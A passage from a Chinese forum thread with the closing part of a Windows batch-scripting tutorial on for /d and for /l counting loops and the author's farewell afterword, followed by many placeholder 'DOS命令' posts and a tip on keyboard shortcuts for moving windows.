  我的本意是想查看在我的临时目录下,长年累月的测试工作到底建立了多少测试文件夹,以便我随后把echo换成rd删除之。这个时候,我发现这条代码是如此的简洁,是 for /r 或 for和 dir /ad /b 的组合所无法替代的(echo换成rd就可以直接删除掉这些测试目录)。

  简洁的代码给我带来的喜悦仅仅持续了短短10几秒的时间,我便开始了迷惘——能用到for /d的类似情形,貌似少之又少且乏善可陈啊。


                六、计数循环:for /l

  /l者,/loop的缩写是也,从鸟语翻译过来,loop就是循环的意思。实际上,所有的for语句,都可以看成是一种“循环”,只是在/l中,特指按照指定次数进行循环罢了。

  for /l 语句的完整格式是这样的:for /l %%i in (x,y,z) do (……),在这个语句中,x、y和z都只能取整数,正负皆可,x指代起始值,y指代步长,z为终止值,具体含义为:从x开始计数,以y为步长,直至最接近z的那个整数值为止,这之间有多少个数,do后的语句就执行多少次。

  举个具体的例子:

[code25]
for /l %%i in (1,2,10) do echo bathome

  在以上的代码中,初始值是1,步长为2,终止值为10,表明计数从1开始,每隔2个数计算一次,直至最接近10的那个整数,罗列出来,就是1,3,5,7,9,再下一个就是11,超过10了,不再计算在内,所以,do后的语句只执行5次,将连续显示5个bathome。

  实际上,x,y和z的值可正可负,甚至为0,限制非常宽松:

  1、步长y的值不能为0;
  2、当步长y的值为正整数时,终止值z不能小于初始值x;
  3、当步长y的值为负整数的时候,终止值z不能大于初始值x。

  换而言之,必须保证in和do之间能取到一个有效的数组序列。

  例如:

[code26]
for /l %%i in (-1,2,5) do echo bathome

[code27]
for /l %%i in (5,-2,-1) do echo bathome

  以上两条代码的功能完全一样,都将显示4次bathome,区别就在于[code26]是正序计算,而[code27]是逆序计数而已。

  以下几条代码都是有问题的:
[code28]
for /l %%i in (1,0,1) do echo bathome

[code29]
for /l %%i in (2,1,1) do echo bathome

[code30]
for /l %%i in (1,-1,2) do echo bathome

  其中,[code28]违反了步长不能为0的限制,将陷入无限循环中;[code29]和[code30]都犯了同样的错误:无法获得有效的数列元素,导致in和do之间取到的值为空元素,从而使得整条for语句无从执行。

  当大家明白了 for /l 的具体功能之后,是否会想到了与它有异曲同工之妙的goto循环语句呢?似乎,for /l 和 goto 循环语句可以相互替换?

  一般而言,for /l语句可以换成goto循环,但是,goto循环并不一定能被 for /l 语句替换掉。具体原因,请大家仔细想想,我在此不再详细解说,只是就大家非常关心的一个问题提供一个简洁的答案,那就是:什么时候该用 for /l 计数循环,而什么时候又该用goto条件循环?

  答案非常简单:当循环次数确定的时候,首选 for /l 语句,也可使用goto语句但不推荐;当循环次数不确定的时候,用goto语句将是唯一的选择,因为,这个时候需要用if之类的条件语句来判断何时结束goto跳转。



  后记:


  当Windows为我们打开了五彩缤纷的图形窗口的时候
  DOS命中注定会陨落
  CMD毫无悬念将萎缩
  批处理逐渐趋向无声无息
  而powershell的到来,无疑会让更多的人忘记批处理
  这是一门即将失传的技艺
  这是一块行将就木的领域
  然而,命令行工具仍然具有批量处理一切的巨大威力
  字符界面仍然是高效操作的代名词
  曾为批处理的方便灵活而击节赞赏
  曾被批处理的简洁快速深深折服
  一直以来,总想为批处理的推广做些什么
  于是,从在CN-DOS里尽职尽责地为大家解答疑问,到创办了自己的论坛专职答疑解惑,再到无怨无悔地码字写教程,一步步走来,喜怒哀愁,五味杂陈
  直至如今辞去站长等一切管理职务,逐渐淡出批处理圈子
  梦依旧在,只是,心有余而力渐有不足
  这篇从入门到精通的教学帖,从2008年10月开贴到现在,不知不觉拖拖拉拉竟然过去了两年有余
  每每看到跟帖的会员在问什么时候有更新
  心中总有一丝愧疚
  今天,终于抽空对它做个了断
  只是,年年岁岁花相似,岁岁年年人不同
  繁杂的事务使我已不再有当初的心境
  for /l 部分总有虎头蛇尾的感觉
  只能向各位说声抱歉了
  在我彻底淡出批处理圈子之前
  我只能尽我所能地向各位倾我所学了
  最后,我希望论坛的管理人员能按照顶楼的管理提示经常为这个帖子抽抽水
  或者是为了大家阅览的方便而永久锁定这个帖子

[ Last edited by zzz19760225 on 2017-10-25 at 10:28 ]
作者: zzz19760225     时间: 2017-8-31 18:22
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:22
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:22
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:22
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:22
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:22
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:22
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:22
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:23
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:23
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:23
WIN用快捷键移动窗口  
--------------------------------------------------------------------------------------
用快捷键移动窗口                            :村南边

方法一(最大化窗口无效)
   1. Alt+Tab 切换到需要移动的窗口
   2. Alt+空格 再按“M”键
   3. 使用方向键移动窗口

方法二:
   Win+←/→    窗口移动到左半屏或右半屏。

方法三:(多个屏幕有效)
   Win+Shift+ ←/→    窗口在多个屏幕间循环显示

接了主副两个屏幕,副屏不常开。有的程序窗口上次关闭是在副屏上,再次打开在主屏上看不见。
搜了不少文章,找到这个快捷键,好使!

http://blog.sina.com.cn/s/blog_6018427d0102w5pz.html

[ Last edited by zzz19760225 on 2017-10-25 at 13:22 ]
作者: zzz19760225     时间: 2017-8-31 18:23
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:23
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:23
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:23
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:23
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:24
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:25
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:25
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:25
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:25
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:25
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:25
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:25
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:26
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:26
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:26
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:26
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:26
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:26
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:26
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:26
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:26
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:26
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:26
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:27
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:28
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:28
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:28
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:28
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:28
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:28
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:28
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:28
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:29
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:29
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:29
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:30
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:30
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:30
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:30
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:30
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:30
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:30
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:30
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:31
DOS命令
作者: zzz19760225     时间: 2017-8-31 18:35    标题: 信息指令命令的规律可能

DOS命令

[ Last edited by zzz19760225 on 2017-9-3 at 17:58 ]